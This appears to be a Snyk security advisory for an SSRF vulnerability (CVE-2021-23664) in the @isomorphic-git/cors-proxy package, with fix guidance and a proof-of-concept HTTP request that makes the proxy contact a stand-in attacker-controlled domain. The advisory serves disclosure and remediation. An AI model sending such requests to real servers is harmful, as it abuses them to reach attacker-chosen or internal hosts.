Server-side Request Forgery (SSRF) Affecting @isomorphic-git/cors-proxy package, versions <2.7.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.2% (58th
percentile)
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Test your applications- Snyk ID SNYK-JS-ISOMORPHICGITCORSPROXY-1734788
- published 20 Jan 2022
- disclosed 15 Oct 2021
- credit Jasmin Landry
Introduced: 15 Oct 2021
CVE-2021-23664 Open this link in a new tabHow to fix?
Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.
Overview
@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.
PoC
GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1
Host: target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
References
CVSS Scores
version 3.1